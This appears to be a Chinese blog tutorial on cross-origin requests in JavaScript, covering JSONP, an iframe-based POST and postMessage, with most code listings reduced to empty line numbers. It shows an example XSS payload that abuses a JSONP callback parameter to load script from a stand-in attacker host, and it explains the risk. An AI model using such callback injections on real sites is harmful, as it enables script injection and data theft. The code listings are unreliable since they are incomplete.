以下是一个 ECMAScript6 版本的 JSONP 方法:
1 | let jsonpLoad = (url) => { |
jsonp 的缺点是容易导致 XSS 跨域攻击,比如下面这个:
1 | http://example.org/api.php?callback=$.getScript('//evil.example.org/xss.js');var dontcare=( |
会变为这样:
1 | $.getScript('http://evil.example.org/xss.js');var dontcare= ({ ... }); |
所以 jsonp 只能用在自己信任的站点。
下面是一个跨域的 post 请求,但只能 post,不能获得 post 返回的数据,原理是创建一个 iframe 进行 post:
1 | ; |
另外一个是 postMessage 跨域请求,解释请看html5 postMessage解决跨域、跨窗口消息传递
页面 A:
1 |
|
页面 B:
1 |
|
参考: